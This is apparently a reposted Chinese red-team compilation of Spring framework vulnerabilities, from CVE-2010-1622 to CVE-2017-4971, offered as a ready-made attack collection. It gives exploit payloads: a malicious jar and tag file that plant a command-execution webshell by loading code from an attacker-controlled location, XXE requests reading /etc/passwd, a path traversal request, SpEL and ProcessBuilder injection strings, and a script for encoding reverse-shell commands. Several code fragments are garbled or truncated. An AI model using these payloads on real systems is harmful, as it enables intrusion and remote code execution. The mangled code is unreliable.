Spring框架相关漏洞合集红队技术
虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。
CVE-2010-1622 Spring Framework class.classLoader 类远程代码执⾏
影响版本:SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7
Spring 框架提供了⼀种机制,该机制使⽤客户端提供的数据来更新对象属性。这个机制允许攻击者修改⽤于加载对象的类加载器的属性(通过 'class.classloader')。这可能导致任意命令执⾏,例如,攻击者可以修改 URL。由类加载器⽤来指向攻击者控制的位置。
⽰例:
POST /adduser HTTP/1.0
...
firstName = Tavis&lastName = Ormandy
如果 Person 是表单的⽀持对象,则 firstName 和 lastName 属性将设置为相应的值。为了⽀持更复杂的类,Spring 还⽀持点表⽰法,因此 user.address.street = Disclosure + Str。将等效于:User().getAddress().setStreet("Disclosure Str.")
问题是 Spring Beans 的 CachedIntrospectionResults 类枚举了可从⽤户表单提交中设置的属性,使⽤ java.BeanInfo() ⽽不指定停⽌类,这意味着 'class'属性及其后的所有内容均可⽤于HTTP请求中的设置。
攻击:
如果攻击者使⽤以下 HTTP 参数向表单控制器提交 HTTP 请求:
POST /adduser HTTP/1.0
...
class.classLoader.URLs[0] = jar:attacker/spring-exploit.jar!
她将使⽤⾃⼰的⽹址覆盖 Class().getClassLoader().getURLs() 返回的数组中的第 0 个元素.
它将是哪个类加载器?
在 Apache Tomcat 上的情况下,它指 org.apache.catalina.loader.WebappClassLoader
如何构造这个 jar,需要包含以下信息:
- META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签⽂件⽽不是类
- META-INF/tags/中的标签⽂件,包含有标签定义(任意Java代码)
/META-INF/spring-form.tld ⽂件:
<!-- <form:input/> tag -->
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
j java.Runtime().exec("mkdir /tmp/PWNED");
%>
做出这样的替换后,当开发者在 controller 中将任何⼀个对象绑定表单,并且最终展⽰的 jsp 内容有下⾯这些:
<%@ taglib prefix="form" uri="/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
攻击者访问 url,即可触发远程代码执⾏的效果:
inbreak/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:inbreak/spring-exploit.jar!/
springmvc选择题如果服务器⼤于 tomcat6.0.28 版本,这样做会把所有的 input 标签替换掉,导致不能正常显⽰。需要修改
spring-form.tld,给其中的 inputtag 改名,name 改为 inputkxlzx:
<tag>
<name>inputkxlzx</name> //什么名字都⾏
在⽂件中新加⼊⼀个 tag,叫做 input:
<tag-file> <name>input</name> <path>/WEB-INF/tags/InputTag.tag</path> </tag-file>
InputTag.tag 的内容:
<%@ tag dynamic-attributes="dynattrs" %>
<%
if (Parameter("kxlzxcmd")!=null)
Parameter("kxlzxcmd"));
%>
<form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>
访问的时候需要在参数中携带 kxlzxcmd
/test.htm?name=kxlzx&kxlzxcmd=calc //包含input的页⾯
CVE-2013-4152 Spring Framework 中的 XML 外部实体(XXE)注⼊
影响版本:3.0.0 ⾄ 3.2.3、4.0.0.M1
受影响版本容易受到 XML 外部实体(XXE)注⼊的攻击。该SourceHttpMessageConverter处理器不会禁⽤外部实体解析,这使远程攻击者可以读取任意⽂件。
当传输 xml 结构体时,如
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
外部XML实体- xxe是使⽤系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含⼀个外部 XML 实体,该实体将获取的内容/etc/passwd并将其显⽰给呈现给⽤户。
xml version="1.0" encoding="ISO-8859-1">
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
其他 XXE 注⼊攻击可以访问可能⽆法停⽌返回数据的本地资源,这可能会影响应⽤程序可⽤性并导致拒绝服务。
CVE-2013-7315 Spring Framework 中的 XML 外部实体
影响版本:3.2.0⾄3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
由于对 CVE-2013-4152 和 CVE-2013-6429 的修复不完整导致。
受影响版本容易受到 XML 外部实体(XXE)注⼊的攻击。该SourceHttpMessageConverter处理器不会禁⽤外部实体解析,这使远程攻击者可以读取任意⽂件。
当传输 xml 结构体时,如
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
外部 XML 实体- xxe是使⽤系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含⼀个外部 XML 实体,该实体将获取的内容 /etc/passwd并将其显⽰给呈现给⽤户。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
其他 XXE 注⼊攻击可以访问可能⽆法停⽌返回数据的本地资源,这可能会影响应⽤程序可⽤性并导致拒绝服务。
CVE-2014-3527 Spring Security 验证绕过漏洞
影响版本:SpringSource Spring Security 3.1-3.2.4
当使⽤从 Spring Security 3.1 到 3.2.4 的 CAS 代理票证⾝份验证时,恶意的 CAS 服务可能会欺骗另⼀个 CAS 服务来认证未关联的代理票证。这是由于以下事实:代理票证⾝份验证使⽤了来⾃ HttpServletRequest 的信息,该信息是根据 HTTP 请求中的不可信信息填充的。这意味着,如果存在 C
AS 服务可以相互认证的访问控制限制,则可以绕过这些限制。如果⽤户未使⽤ CAS 代理票证,并且未基于CAS 服务做出访问控制决策,则对⽤户没有影响。
CVE-2014-0097 Spring Security 认证绕过
影响版本:Spring Security 3.2.0 ⾄ 3.2.1 和 3.1.0 ⾄ 3.1.5
ActiveDirectoryLdapAuthenticator不检查密码长度。如果⽬录允许匿名绑定,则它可能会错误地验证提供空密码的⽤户。
CVE-2014-3578 Spring Framework ⽬录遍历漏洞
影响版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1
在 l 存在如下情况下存在⽬录遍历:
<mvc:resources mapping="/css/**" location="file:webapps/springapp/WEB-INF/classes/theme/css/" />
访问:
GET /springapp/css/file:/etc/passwd
CVE-2016-2173 Spring AMQP 中的远程代码执⾏
影响版本:1.0.0⾄1.5.4
github/HaToan/CVE-2016-2173
使⽤⽅式:
ysoserial-0.0.4-all.jar create payload write and execute a shell
java -jar ysoserial-0.0.4-all.jar 'library_vul' 'command'
exploit-cve2016-2173.jar : send to App vul
java -jar exploit-cve2016-2173.jar
本来想根据配置来搭⼀个环境处理,结果环境⼀直搭不起来,构建各种失败,就先放这个利⽤ poc 吧。
CVE-2016-4977 SpringSecurityOauth 远程命令执⾏漏洞
影响版本:2.0.0-2.0.9、1.0.0-1.0.5
/vuldb/ssvid-92474
漏洞利⽤POC:
localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
执⾏命令:
207.246.79.196:8080/oauth/authorize?
response_type=token&client_id=acme&redirect_uri=${T(java.lang.Runtime).getRuntime().exec(%io%22)}
但是此命令执⾏,不会在页⾯上显⽰,只会打印出运⾏的对象。
如果要执⾏反弹 shell 等命令,由于页⾯ HTML 编码的原因,SPEL 返回值时进⾏了⼀次 html 编码,所以导致取出的值时会进⾏⼀次转义,利⽤如下脚本加⼯。
#coding:utf-8
message = input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')
执⾏输出后再添加:
T(java.lang.Runtime).getRuntime().exec(payload)
CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注⼊漏洞
影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
wwwblogs/litlife/p/10183137.html
下载存在漏洞的版本1.3.0:
github/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip
POC:
/?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}
结果:
FBB204A4061FFBD41284A84C258C1BFB 返回结果是 md5(wooyun)
CVE-2016-6652 Spring Data JPA SQL 盲注
影响版本:Spring Data JPA 1.10.2、1.9.4
/vuldb/ssvid-92534
CVE-2017-4971 Spring WebFlow 远程代码执⾏漏洞
影响版本:Spring Web Flow 2.4.0 to 2.4.4
使⽤vulhub搭建环境后,在添加poc执⾏
&_(new+java.lang.ProcessBuilder("ping","io")).start()=vulhub
⽆害化 payload 检测,如果 response header 中出现 vulnerable 头,则有漏洞:
&_T(org.t.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty CVE-2017-8045 Spring Amqp中的远程代码执⾏
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论